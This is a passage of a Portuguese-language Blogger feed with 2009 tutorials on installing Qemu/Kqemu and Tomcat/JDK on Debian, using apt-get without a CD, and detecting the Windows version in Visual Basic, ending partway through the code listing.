href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6035483143624807221'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/trabalhando-com-particoes-linux-no.html' title='Trabalhando com partições Linux no Windows (visualiza, edita normalmente)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-9008570007032196679</id><published>2009-04-03T14:57:00.000-07:00</published><updated>2009-05-04T10:19:08.479-07:00</updated><title type='text'>Instalando o Qemu (Debian)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=90c6a3bc" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Resolvi escrever esta dica pois senti dificuldade em instalar o Qemu + Kqemu no Debian Etch, mesmo sendo algo tão simples. A maioria das dicas incentivavam a instalação do KQemu com linhas de comando que não funcionavam.&lt;br /&gt;&lt;br /&gt;Quebrando a cabeça e com alguns "chutes", encontrei uma forma muito fácil de utilizá-lo.&lt;br /&gt;&lt;br /&gt;Porém o real motivo de postar essa dica é que será necessário a utilização do Qemu em um artigo que estou escrevendo, então resolvi escrevê-la para referenciá-la no artigo e não explicá-la na artigo, fugindo por completo do assunto.&lt;br /&gt;&lt;br /&gt;Vamos à instalação.&lt;br /&gt;&lt;br /&gt;No caso do Debian, é só executar a linha a seguir no shell como root:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install qemu qemu-launcher qemuctl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OBS.: Não é necessário repositório extra.&lt;br /&gt;&lt;br /&gt;Após instalação, será criado um atalho no menu do GNOME:&lt;br /&gt;&lt;br /&gt;Aplicações &gt; Acessórios &gt; Qemu Laucher&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/SdaGmittxiI/AAAAAAAAABU/HENYV0m6rj0/s1600-h/thumb_QemuLaucher.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/SdaGmittxiI/AAAAAAAAABU/HENYV0m6rj0/s400/thumb_QemuLaucher.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5320588006496519714" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Em Configuration Name, dê um nome a configuração.&lt;br /&gt;&lt;br /&gt;Selecione Snapshot mode e Use CD Rom.&lt;br /&gt;&lt;br /&gt;Usarei como exemplo a instalação do Debian na máquina virtual, então selecione CD-ROM em Boot Disk.&lt;br /&gt;&lt;br /&gt;Em Hard disk 0, selecione o botão novo e crie o arquivo que servirá de HD para a máquina virtual. No exemplo, aumentei a capacidade do HD virtual de 1 para 2 GB e dei o nome de HHdebian.&lt;br /&gt;&lt;br /&gt;Modifique o tamanho da memória em RAM (MB) caso queira.&lt;br /&gt;&lt;br /&gt;Na aba Launcher settings verifique se qemu-ctl está como /usr/bin/qemuctl, se não estiver, localize-o.&lt;br /&gt;&lt;br /&gt;Salve a configuração e clique em Lauch para inciar o qemu.&lt;br /&gt;&lt;br /&gt;Comece a instalação do Linux pelo CD.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_UGGKVNwng_k/SdaG2j9OutI/AAAAAAAAABc/RglxmoxpKDM/s1600-h/thumb_Qemu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_UGGKVNwng_k/SdaG2j9OutI/AAAAAAAAABc/RglxmoxpKDM/s400/thumb_Qemu.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5320588281707936466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Se usarmos o comando "ps -ax | grep qemu" em um terminal no momento da instalação, veremos que o comando executado pelo Qemu Laucher é:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /usr/bin/qemu -boot d -snapshot -m 128 -hda /home/usuario/HHdebian -cdrom /dev/cdrom -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Após término da instalação, modifique no Qemu Launcher (na configuração salva) o disk boot para Hard disk 0, desmarque o Use CD-ROM e clique em Launch para iniciar o Linux no Qemu.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /usr/bin/qemu -boot c -snapshot -m 128 -hda /home/gjunior/ HHdebian -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fazendo isso o Qemu já estará funcionando. Porém, ainda de forma lenta. Então instalaremos o módulo Kqemu para acelerar o Qemu de 4 a 5 x.&lt;br /&gt;&lt;br /&gt;Entre no site:&lt;br /&gt;&lt;br /&gt;    * &lt;a href="http://bellard.org/qemu/download.html"&gt;http://bellard.org/qemu/download.html&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;e baixe o arquivo kqemu-1.3.0pre11.tar.gz.&lt;br /&gt;&lt;br /&gt;Descompacte o arquivo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;$ tar -zxf kqemu-1.3.0pre11.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Entre no diretório kqemu-1.3.0pre11:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;$ cd kqemu-1.3.0pre11&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mude para o usuário root e instale o Kqemu:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# ./configure&lt;br /&gt;# make&lt;br /&gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depois de instalado, carregue o módulo do kqemu com o comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# modprobe kqemu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Caso necessário, crie o device que ele utiliza:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# mknod /dev/kqemu c 250 0&lt;br /&gt;# chmod 666 /dev/kqemu&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;O módulo kqemu precisa ser carregado sempre que o Linux é iniciado, para isso, crie o arquivo /etc/init.d/kqemu e inclua as linhas.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#! /bin/sh&lt;br /&gt;# Carregando o módulo Kqemu&lt;br /&gt;modprobe kqemu&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Mude a permissão do arquivo para 755:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# chmod 0755 kqemu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Crie um link simbólico em /etc/rcS.d/:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# ln -s ../init.d/kqemu S99kqemu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se quisermos compartilhar a unidade de CD-ROM, basta incluir os parâmetros "-cdrom /dev/cdrom" na linha de comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /usr/bin/qemu -cdrom /dev/cdrom -boot c -snapshot -m 128 -hda /home/gjunior/ HHdebian -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto, Qemu+Kqemu instalados no Debian.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-9008570007032196679?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/9008570007032196679/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/resolvi-escrever-esta-dica-pois-senti.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/9008570007032196679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/9008570007032196679'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/resolvi-escrever-esta-dica-pois-senti.html' title='Instalando o Qemu (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UGGKVNwng_k/SdaGmittxiI/AAAAAAAAABU/HENYV0m6rj0/s72-c/thumb_QemuLaucher.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7251804196907983110</id><published>2009-04-03T14:43:00.000-07:00</published><updated>2009-05-04T10:16:50.203-07:00</updated><title type='text'>Instalando Tomcat e JDK com apt-get (Debian)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=1a88c4f8" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Acabei de passar pela necessidade de instalar o Tomcat em meu servidor Debian. Porém não tive muito sucesso com as dicas já oferecidas em português e algo que parecia simples não foi tanto. Passei a procurar então material em inglês e consegui fazer a instalação, na realidade, de forma bastante simples e resolvi postar aqui.&lt;br /&gt;&lt;br /&gt;Primeiro é necessário instalar o Sun JDK 5 (Java Developer kit 5). Nós instalaremos a partir de um repositório.&lt;br /&gt;&lt;br /&gt;Obs.: Usaremos repositórios não estáveis, mas não tive problema com isso.&lt;br /&gt;&lt;br /&gt;Os comandos deverão ser executados como usuário root.&lt;br /&gt;&lt;br /&gt;Edite o arquivo /etc/apt/sources.list:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# vi /etc/apt/sources.list&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;e adicione as seguintes linhas:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;deb http://ftp.debian.org/debian/ unstable non-free&lt;br /&gt;deb-src http://ftp.debian.org/debian/ unstable non-free&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve e feche o arquivo.&lt;br /&gt;&lt;br /&gt;Agora vamos atualizar o apt usando o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Instalando o jdk:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;# apt-get install sun-java5-jdk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para confirmar se o Java está instalado e qual sua versão:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;# java -version&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A saída será algo da forma:&lt;br /&gt;&lt;br /&gt;java version "1.5.0_10"&lt;br /&gt;Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_10-b03)&lt;br /&gt;Java HotSpot(TM) Client VM (build 1.5.0_10-b03, mixed mode, sharing)&lt;br /&gt;&lt;br /&gt;Para instalar o Apache Tomcat usaremos os comandos a seguir:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install tomcat5.5&lt;br /&gt;# apt-get install tomcat5.5-admin&lt;br /&gt;# apt-get install tomcat5.5-webapps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para verificar se o Tomcat está em execução, abra um navegador e digite o seguinte endereço:&lt;br /&gt;&lt;br /&gt;http://localhost:8180/&lt;br /&gt;&lt;br /&gt;Você poderá trocar o localhost pelo IP ou nome do seu servidor.&lt;br /&gt;&lt;br /&gt;Você poderá iniciar/parar/reiniciar o serviço Tomcat utilizando os seguintes comandos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 start&lt;br /&gt;# /etc/init.d/tomcat5.5 stop&lt;br /&gt;# /etc/init.d/tomcat5.5 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configurando o Tomcat&lt;br /&gt;Pare o serviço Tomcat:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 sto&lt;/span&gt;p&lt;br /&gt;&lt;br /&gt;Edite o arquivo /var/lib/tomcat5.5/conf/tomcat-users.xml e substitua seu conteúdo pelas linhas abaixo. Neste caso configuraremos a mesma senha para as opções de configuração do Tomcat via browser.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version='1.0' encoding='utf-8'?&amp;gt;&lt;br /&gt;&amp;lt;tomcat-users&amp;gt;&lt;br /&gt;&amp;lt;role rolename="admin"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="manager"/&amp;gt;&lt;br /&gt;&amp;lt;role rolename="tomcat"/&amp;gt;&lt;br /&gt;&amp;lt;user username="tomcat"&lt;br /&gt;password="tomcatpassword"&lt;br /&gt;roles="tomcat,admin,manager"/&amp;gt;&lt;br /&gt;&amp;lt;/tomcat-users&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve o arquivo.&lt;br /&gt;&lt;br /&gt;Inicie o serviço Tomcat:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/init.d/tomcat5.5 start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora você poderá usar o usuário de gerente na página de configuração do Tomcat:&lt;br /&gt;&lt;br /&gt;http://localhost:8180/manager/html&lt;br /&gt;&lt;br /&gt;Seu usuário será "tomcat" e a senha "tomcatpassword".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7251804196907983110?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7251804196907983110/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalando-tomcat-e-jdk-com-apt-get.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7251804196907983110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7251804196907983110'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalando-tomcat-e-jdk-com-apt-get.html' title='Instalando Tomcat e JDK com apt-get (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-8775335756993890963</id><published>2009-04-03T14:35:00.000-07:00</published><updated>2009-05-04T10:15:41.382-07:00</updated><title type='text'>Apt-get sem CD (Debian)</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=1be272ca" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Acabei de passar pela necessidade de instalar o ntpdate no servidor de minha empresa. Porém ao usar o apt-get ele pediu para inserir o CD.&lt;br /&gt;&lt;br /&gt;O problema é que o servidor se encontra distante, sem possibilidade de levar o CD de instalação até ele.&lt;br /&gt;&lt;br /&gt;Procurei no VOL como utilizar o apt-get sem a necessidade do CD. Encontrei excelentes dicas e artigos explicando como criar um repositório local, porém isso não adiantava.&lt;br /&gt;&lt;br /&gt;Como não achei nada que resolvesse meu problema, resolvi fazer um teste que funcionou.&lt;br /&gt;&lt;br /&gt;Edite o sources.list:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# vi /etc/apt/sources.list&lt;/span&gt; (use o editor que preferir)&lt;br /&gt;&lt;br /&gt;Comente a linha referente ao cdrom e salve, pois não queremos que o cdrom faça parte de nosso repositório.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#deb cdrom:[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 CD Binary-1 20070407-11:55]/ etch contrib main&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Confirme se existe o repositório da sua distribuição, neste caso o Debian.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;deb http://ftp.debian.org/debian/ etch main&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Atualize o repositório:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-8775335756993890963?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/8775335756993890963/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/apt-get-sem-cd-debian.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8775335756993890963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8775335756993890963'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/apt-get-sem-cd-debian.html' title='Apt-get sem CD (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-6751990918785936099</id><published>2009-04-02T15:07:00.000-07:00</published><updated>2009-05-04T10:14:40.987-07:00</updated><title type='text'>Identificando a versão do Windows com Visual Basic</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=948cfa8f" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Muitas vezes é necessário identificar qual a versão do windows está sendo usado. O código abaixo mostra como fazer isso.&lt;br /&gt;&lt;br /&gt;O código identifica exatamente se a versão do Windows é &lt;span style="font-weight:bold;"&gt;3.X, 98, 98, 98 SE, ME, NT, 2000, XP&lt;/span&gt; ou se é uma versão &lt;span style="font-weight:bold;"&gt;64 Bits&lt;/span&gt;. Não foi possível testar e identificar as versões &lt;span style="font-weight:bold;"&gt;Vista, 2003 e Seven&lt;/span&gt;, porém quem desejar basta utilizar o código e testar o valor das variáveis. Como não foi testado nessas versões, não é possível garantir o seu funcionamento para estas.&lt;br /&gt;&lt;br /&gt;Crie um módulo e insira as seguintes linhas&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Public Type T_WINVER&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PlatformID      As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VersionName     As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VersionNo       As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServicePack     As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;BuildNo         As String&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type T_OSVersionInfo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;OSVSize         As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwVerMajor      As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwVerMinor      As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwBuildNumber   As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PlatformID      As Long&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;szCSDVersion    As String * 128&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Const VER_PLATFORM_WIN32s = 0&lt;br /&gt;Public Const VER_PLATFORM_WIN32_WINDOWS = 1&lt;br /&gt;Public Const VER_PLATFORM_WIN32_NT = 2&lt;br /&gt;&lt;br /&gt;Public Declare Function GetVersionEx Lib "Kernel32" _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Alias "GetVersionExA" _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(lpVersionInformation As T_OSVersionInfo) As Long&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;No mesmo módulo, ou no seu form inclua as linhas abaixo. O detalhe é que se resolver colocar essa rotina dentro do mesmo módulo a rotina tera que ser publica ou seja:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Public Sub getWindowsVersion(ByRef win As T_WINVER)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Private Sub getWindowsVersion(ByRef win As T_WINVER)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim OSVersionInfo As T_OSVersionInfo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim pos As Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim sVer As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim sBuild As String&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;OSVersionInfo.OSVSize = Len(OSVersionInfo)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;If GetVersionEx(OSVersionInfo) = 1 Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#If Win32 Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'PlatformId contém o valor que representan o SO&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'no mesmo PlatformId o Windows pode variar de acordo com a versão&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'do sistema&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.PlatformID = OSVersionInfo.PlatformID&lt;br /&gt;     &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Select Case OSVersionInfo.PlatformID&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case VER_PLATFORM_WIN32s:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.VersionName = "Win32s"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case VER_PLATFORM_WIN32_NT:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.VersionName = "Windows NT"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Select Case OSVersionInfo.dwVerMajor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 4:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.VersionName = "Windows NT"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 5:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Select Case OSVersionInfo.dwVerMinor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 0:  win.VersionName = "Windows 2000"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 1:  win.VersionName = "Windows XP"&lt;br 